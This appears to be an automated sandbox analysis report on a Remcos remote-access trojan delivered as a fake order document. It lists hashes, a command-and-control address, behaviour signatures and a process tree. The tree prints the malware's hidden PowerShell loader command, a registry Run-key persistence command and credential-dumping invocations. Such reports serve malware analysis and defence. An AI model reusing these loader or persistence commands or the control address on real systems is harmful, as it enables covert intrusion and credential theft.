Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2024 05:35

General

  • Target

    Company Profile and new order-202401127.scr.exe

  • Size

    779KB

  • MD5

    935bdb714d2c6a118e9c6bfd941084b8

  • SHA1

    817f3f195d61d459fbbdac24e5a4f014d927edcf

  • SHA256

    c69b2064c89c254dbeda8f204b3a60ab753816ddff618be9d593cb9839cfe09d

  • SHA512

    6915674b2cf0bbc300f18dc26fd983bb69d5ddf8ec7d00831915ae6d5602d0b770d5e785ab8b0d33b9e0c353773e2777273ff6e8383d7332a54fe2440976ede4

  • SSDEEP

    12288:XXa6zw6GW2F+5XizizdI+9kUWM6vQWO0v1wb1EVLz56TE/n0koAHf9qo05bWYpD/:XXal655XEIimkUd0dPpL04/9X05bj

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

185.29.10.213:63650

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-NJ8CFR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Company Profile and new order-202401127.scr.exe
    "C:\Users\Admin\AppData\Local\Temp\Company Profile and new order-202401127.scr.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4424
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Vagtselskabets=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Burglarproofs\bordskaaneren.Exp';$wullawins=$Vagtselskabets.SubString(21189,3);.$wullawins($Vagtselskabets)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:428
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Loaded" /t REG_EXPAND_SZ /d "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\Software\Absinthium\').Emulsifiable;%Salutbatteriernes% ($Psammous)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3340
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Loaded" /t REG_EXPAND_SZ /d "%Salutbatteriernes% -windowstyle 1 $Psammous=(gp -Path 'HKCU:\Software\Absinthium\').Emulsifiable;%Salutbatteriernes% ($Psammous)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:2544
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\sgmrmhddu"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3168
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\uirknawwicah"
          4⤵
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:4732
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ecwvokhyelsmxwao"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbujebjh.tad.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Burglarproofs\bordskaaneren.Exp

    Filesize

    55KB

    MD5

    755fb54225dd285b06c369a2f5e58082

    SHA1

    f87f62424d1e437c7bd3b8c5fad3ed40269f140a

    SHA256

    81e5c8c7b98950c580ef3681dca6bfb2729cc82e862dabc118a53442c4c96bc1

    SHA512

    4efea102c5076a541f96a788d88dc550195abc0a464b0d36638a8502836077f9c02e0a636c1f9654c693a7c853df0e6b99eaf6f0d4e5ffb0f81ae64690b3c915

  • C:\Users\Admin\AppData\Local\Temp\nonopposable\ff4\Unsoil.Coa

    Filesize

    358KB

    MD5

    d1e068d6f404618fb2865467ca5a6c8a

    SHA1

    ea38b343ca3cc8669a1201977f453e3d59bbd904

    SHA256

    4d22f5607f2c5579e7296ad7c71ae84de5af8bda148b653e99fc5cffef569136

    SHA512

    5a4c72ee6ccdc80fc0815ee9f68bfd93e22f9fd891cb5a60d843b8318ae9c538a6ce9c3aa18ee3017a1ee615ed2e485d07bd722ccc91b200baeff02254f85ffd

  • C:\Users\Admin\AppData\Local\Temp\sgmrmhddu

    Filesize

    4KB

    MD5

    16dfb23eaa7972c59c36fcbc0946093b

    SHA1

    1e9e3ff83a05131575f67e202d352709205f20f8

    SHA256

    36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c

    SHA512

    a8b38b5e7bf886b78c5c7f01234b44647a252d4dfbcc06c99b863f8e160e3cfc151b2a83b8b49e09d13e8547419467da4bffbb8dee5fc6740032eb7c839d89dc

  • memory/428-95-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-101-0x00000000207E0000-0x00000000207F9000-memory.dmp

    Filesize

    100KB

  • memory/428-106-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-105-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-110-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-104-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-103-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-102-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-111-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-97-0x00000000207E0000-0x00000000207F9000-memory.dmp

    Filesize

    100KB

  • memory/428-100-0x00000000207E0000-0x00000000207F9000-memory.dmp

    Filesize

    100KB

  • memory/428-108-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-112-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-113-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/428-75-0x0000000000610000-0x0000000001864000-memory.dmp

    Filesize

    18.3MB

  • memory/1808-92-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1808-88-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/1808-87-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3168-82-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3168-86-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3168-84-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3168-80-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4008-30-0x0000000008000000-0x000000000867A000-memory.dmp

    Filesize

    6.5MB

  • memory/4008-44-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-50-0x0000000007370000-0x0000000007384000-memory.dmp

    Filesize

    80KB

  • memory/4008-51-0x00000000073B0000-0x00000000073CA000-memory.dmp

    Filesize

    104KB

  • memory/4008-52-0x00000000073A0000-0x00000000073A8000-memory.dmp

    Filesize

    32KB

  • memory/4008-53-0x0000000007AF0000-0x0000000007B1A000-memory.dmp

    Filesize

    168KB

  • memory/4008-54-0x0000000007B20000-0x0000000007B44000-memory.dmp

    Filesize

    144KB

  • memory/4008-55-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-57-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-48-0x0000000007310000-0x0000000007321000-memory.dmp

    Filesize

    68KB

  • memory/4008-59-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-60-0x000000007365E000-0x000000007365F000-memory.dmp

    Filesize

    4KB

  • memory/4008-62-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-61-0x0000000008680000-0x000000000AC06000-memory.dmp

    Filesize

    37.5MB

  • memory/4008-63-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-65-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-66-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-67-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-68-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-47-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-46-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-6-0x0000000002790000-0x00000000027C6000-memory.dmp

    Filesize

    216KB

  • memory/4008-45-0x00000000072F0000-0x00000000072FA000-memory.dmp

    Filesize

    40KB

  • memory/4008-49-0x0000000007360000-0x000000000736E000-memory.dmp

    Filesize

    56KB

  • memory/4008-7-0x0000000004F70000-0x0000000005598000-memory.dmp

    Filesize

    6.2MB

  • memory/4008-43-0x00000000071F0000-0x0000000007293000-memory.dmp

    Filesize

    652KB

  • memory/4008-42-0x00000000071C0000-0x00000000071DE000-memory.dmp

    Filesize

    120KB

  • memory/4008-32-0x000000006FAE0000-0x000000006FB2C000-memory.dmp

    Filesize

    304KB

  • memory/4008-31-0x0000000007180000-0x00000000071B2000-memory.dmp

    Filesize

    200KB

  • memory/4008-8-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-5-0x000000007365E000-0x000000007365F000-memory.dmp

    Filesize

    4KB

  • memory/4008-28-0x00000000073D0000-0x0000000007974000-memory.dmp

    Filesize

    5.6MB

  • memory/4008-27-0x00000000062F0000-0x0000000006312000-memory.dmp

    Filesize

    136KB

  • memory/4008-26-0x0000000006260000-0x000000000627A000-memory.dmp

    Filesize

    104KB

  • memory/4008-25-0x0000000006D70000-0x0000000006E06000-memory.dmp

    Filesize

    600KB

  • memory/4008-24-0x0000000005DC0000-0x0000000005E0C000-memory.dmp

    Filesize

    304KB

  • memory/4008-23-0x0000000005D70000-0x0000000005D8E000-memory.dmp

    Filesize

    120KB

  • memory/4008-22-0x0000000005740000-0x0000000005A94000-memory.dmp

    Filesize

    3.3MB

  • memory/4008-12-0x00000000055A0000-0x0000000005606000-memory.dmp

    Filesize

    408KB

  • memory/4008-11-0x0000000004E30000-0x0000000004E96000-memory.dmp

    Filesize

    408KB

  • memory/4008-10-0x0000000073650000-0x0000000073E00000-memory.dmp

    Filesize

    7.7MB

  • memory/4008-9-0x0000000004D90000-0x0000000004DB2000-memory.dmp

    Filesize

    136KB

  • memory/4732-85-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/4732-93-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/4732-81-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB